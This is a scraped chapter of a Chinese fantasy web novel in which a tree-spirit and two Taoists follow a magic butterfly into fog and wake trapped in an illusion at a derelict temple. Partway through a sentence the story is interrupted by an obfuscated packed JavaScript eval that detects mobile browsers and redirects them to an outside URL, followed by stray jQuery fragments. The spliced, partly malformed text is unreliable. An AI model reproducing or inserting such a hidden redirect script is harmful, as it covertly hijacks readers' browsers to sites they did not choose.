风竹小说 > 都市言情 > 道士今日捉妖了吗 > 4. 第一块姻缘牌

4. 第一块姻缘牌

    青绿色的蝴蝶,吸引住了所有人的目光,他们炯炯有神的望着那只蝴蝶。

    带着期待与希冀。

    蝴蝶却在他们的头上环绕了一圈之后,与阿拂对面的观尘来了个面对面。

    观尘也没能想到,这蝴蝶居然落到了自己的面前。

    “喂!小妖怪,你这东西是不是弄错了?”

    他怎么可能是这块姻缘牌的主人?

    阿拂摇了摇头:“我也不知道。”

    把妖力灌入姻缘牌的法子,还是观尘告诉她的呢!

    事情会变成这样,她可是什么都不清楚。

    观尘的眼睛转了转,左右晃动了两下身子,发现那蝴蝶根本没有其他反应之后,一股屁坐到了阿拂的旁边。

    把阿拂挤的差点从凳子上掉了下去。

    “你干嘛!”

    “别动!”

    观尘轻呵一声,只见那蝴蝶还停在了原地,便有些得意道:“看吧!我就说你这东西不靠谱!”

    阿拂嘟了嘟嘴,目光也落到了蝴蝶的身上,满眼纠结。

    这到底是怎么回事呢?

    李莲舟倒是看出来些门道,敲了敲车门:“往北走。”

    “是。”

    北面,就是刚才观尘坐的位置,还有蝴蝶停留的地方。

    待马车缓缓动了起来,那原本静止不动的蝴蝶,也开始缓慢的煽动翅膀。

    “哦!原来是这样啊!”观尘也明白过来,蝴蝶这是在给指路。

    “那你还不赶紧坐回去!”

    阿拂嫌弃的轻轻推了推观尘。

    两人坐一块儿真的很挤!

    “嘿!我就不!”观尘任阿拂怎么推,都没有丝毫要动弹的意思。

    他才发现,阿拂的身边,怎么这么凉快?!

    夏日炎炎,哪怕马车内放了冰块,也挡不住少年身上的血气方刚。

    偏偏阿拂的身边,比装了冰块的盆子边儿还要凉爽。

    而李莲舟看着二人的打闹则是闭上了眼。

    眼不见心不烦。

    只要不闹到他的身上。

    阿拂妖气所幻化成的蝴蝶指引着他们出了京都。

    慢慢的朝着城外驶去。

    明明才过了午时没多久,天上的太阳不知道什么时候不见了,乌云密布,稀稀拉拉的下起雨来。

    城郊偏僻,杂草丛生。

    马车越走越偏,渐渐的离了官道,向小径驶去。

    直到前面的路连马车都走不了了,车夫只得告知李莲舟。

    炎热的天气下着雨也感觉到潮湿烦闷。

    马车内的李莲舟睁开双眼,对面的观尘抱着剑也昏昏欲睡。

    阿拂的眼皮子也沉的可怕。

    他掀开车帘的动静惊醒了二人。

    三人下了马车,站在了雨中。

    李莲舟也不知用了什么法术,哪怕浑身暴露在雨中,那些雨滴也像是被透明罩子给隔开了,一滴都没有落到他的身上。

    反观阿拂与观尘,两人则是被淋的浑身湿透。

    “难道你就不能同他一样,变个罩子出来?”阿拂不解的问道观尘,看向李莲舟的方向,眼中全是艳羡。

    观尘嗤笑一声:“道士最重要的是降妖除魔,哪能儿把法术用在这些奢靡的地方?”

    这?

    不就一个不用淋雨的罩子吗?

    怎么就奢靡了?

    阿拂不解。

    李莲舟四处探查了一番,又看着前方发着莹莹绿光的蝴蝶。

    “前面的路,只能自己走了。”

    说着话的时候,他的眉头微微皱起。

    前面的路早就被杂草给掩盖,加上现在又下起雨来,泥土被寖泡之后,李莲舟能够落脚的地方都没有。

    他有些后悔,却不得不硬着头皮踩下去。

    一脚下去,脸色聚变。

    而后又抬起头来,拔出手中的剑,一剑下去,杂草全都被斩落,倒是铺在了泥路上,好走一些。

    迷迷糊糊的阿拂被剑气震的彻底醒来。

    她原是一棵树。

    按理说,到了这郊外,应当更加的舒适。

    可这雨下的她烦闷之极。

    乃至于她连雨水都不想沾染上一点。

    “哼,矫情。”观尘眼见李莲舟如此做派,真的是看不上一点儿。

    毫不顾忌的一脚踩进泥水之中。

    好好的一套的衣裳,被他糟蹋。

    阿拂左右看了看,总觉得有些瘆得慌,也赶紧跟了上去。

    只余车夫一人静静的候在马车旁,看着他们三人渐行渐远,消失在这密密麻麻的雨幕之中。

    李莲舟走的这条路,是一条朝着小山坡里走去的蜿蜒的小路。

    天气炎热,雨又下的小,四周渐渐的起了雾。

    阿拂心中越来越不安,赶紧走得快些,拉住了观尘的衣角。

    观尘心中也犯怵,走到前面李莲舟的身边:“粥粥兄,这,莫不是有什么古怪吧?”

    古怪?

    确实很古怪。

    李莲舟凝神聚气,再定睛朝着四面看去。

    景还是那个景,雾也还在,什么都没有变化。

    观尘见他眉头紧皱,一副思索的模样,心下一凛。

    难不成还真的有什么古怪?

    于是拿着剑的手紧了紧,心中还是有些害怕。

    没想到李莲舟只是摇了摇头,道了一句:“并无。”

    “嗐!”

    既然没什么事儿,那他可就不怕了。

    原本绷得紧紧的身体,一下子站直放松了下来,抱着剑,又开始吊儿郎当的左顾右盼起来。

    越往前走,雨越下越大。

    雾也越来越大。

    一开始阿拂还死死的牵着观尘的衣角。

    衣物沾了水,如同观尘一样,变得滑不溜秋的,一不留心,脚下一个踉跄,手中的布料就脱了手。

    等她再次抬起头来的时候。

    面前早已空无一人,一片白茫。

    “道长?道长?”阿拂试探着往前走了两步,仔细的听着,除了哗啦啦的雨声,实在是听不出什么,“观尘!观-尘!”

    没人回应。

    身上的衣物因雨水而变得厚重起来。

    脚下的步子踏的越来越困难,阿拂的眼皮也越来越重。

    不对!非常不对!

    阿拂的脑海中,明明知道事情的不对劲,可是,她什么都做不了。

    任由眼睛慢慢的合拢闭上,陷入了一片黑暗之中。

    她仿佛回到了当初还是一棵树的时候,不能动弹,五官尽失,不知天地为何物,不知自己存在于何地。

    周身的变化,随着时间的推移慢慢的清晰起来。

    感受到冬去春来,感受到晴空烈日。

    阿拂再一次如同初生一般睁开眼。

    映入眼帘的,是一个大堂。

    与白马寺的格局相差不多,可是要小上许多。

    而且那案台桌面上布置的是三清像。

    案台上早已落满了灰,贡品也黑漆漆的一片,不知道已经放了多久。

    她还是不能动弹,只能眼睁睁的看着大堂里明明暗暗。

    难不成,她是被什么妖物给

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362838|183773||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    抓到这里困起来了?

    被困了多久,也不知道,观尘和李莲舟的下落,也不清楚。

    阿拂动弹不得,时间久了,却有几分随遇而安。

    反正她与观尘和李莲舟二人,不过只相处了一日而已。

    树的生命可是顽强的,只要她不死,留她一个人,也是要走下去的。

    不知道过了多久,可能是一年,可能是三年。

    又是一日大雨磅礴。

    外面电闪雷鸣。

    黑漆漆的大堂被闪电照的通亮。

    咔嚓一声。

    阿拂脱了禁锢,忽的从什么东西上掉了下来。

    硬生生的摔到了地上。

    她爬起来,也不顾外面的雨,踩着地上的雨水朝着外面的大飞奔而去。

    可刚到那破旧的门口,却被一股力量给震飞了回来,摔到在地,狼狈不堪。

    “出不去。”

    为什么出不去?

    难道说,背后的那大妖还不愿意放过她?

    “少爷!这里有个道观,可以进去避避雨了!”

    外面,传来了人声。

    阿拂亮了双眸,正要去到门口边看一看。

    哪知道她好似对身体失去了掌控,悄悄的走到偏房的后面躲了起来。

    原本湿漉漉的衣物不知道何时已经不再滴水,头上也出现了她对于李莲舟羡慕的那个透明罩子。

    处处都透露着诡异,偏偏她好似一个木头人,被牵着,做不了任何事情。

    这比她还是一棵树的时候还要难受。

    就在她努力的想要争取到身体的控制权的时候,道观的门口,出现了两个人影。

    一个是书生模样,穿着一身深色耐脏的宽袖袍子,头上带着方巾做成的四方形的便帽。

    书生的身上被淋湿的不多,进了道观门口之后,首先担忧的居然是自己背篓里的东西。

    他关切的看向了背篓里的东西,翻来覆去的查看了一番之后,才放下心来。

    “公子,哎呀您就放心吧,这药材,沾了水也是无事的。”

    书生进来之后,跟着一个高了他半个脑袋的小厮,怎么看怎么别扭。

    那小厮小心翼翼的关上道观的门之后,转过身来。

    当阿拂看清楚他的脸之后,被吓了一大跳!

    什么小厮?

    这不是李莲舟吗?

    只不过这穿着打扮,与她认识的李莲舟,相差甚远。

    “你懂什么。”那书生抬起头来,不满的瞪了李莲舟一眼,“近来阴雨连绵,原本药材都保存不易,一旦淋了雨,晒干又要花费些功夫,药效可是要大打折扣了。”

    阿拂的面皮抽了抽。

    不出意外,这书生,居然真的是观尘。

    所以,她们三个现在是个什么情况?

    还没等她反应过来,手上就有了新的动作。

    一把崭新的油纸伞,突然出现在了她的手中。

    在雨中撑开之后,仿佛这山林之中出现的一朵白花,慢慢的朝着道观门口的主仆二人靠近。

    “公子。”

    阿拂笑吟吟的朝着观尘和李莲舟走进。

    她的脸上虽然笑着,心中却是焦急万分。

    ‘观尘!李莲舟!救我啊!’

    ‘救命!’

    可两人见着她之后,一副差异的模样,特别是观尘,见他呆呆的盯着自己,看的都痴傻了。

    “公子,公子。”还是一旁的李莲舟小心翼翼的推了推他,提醒着。

    “姑娘,您是?”

    完了,这两人同她一样,中了招了。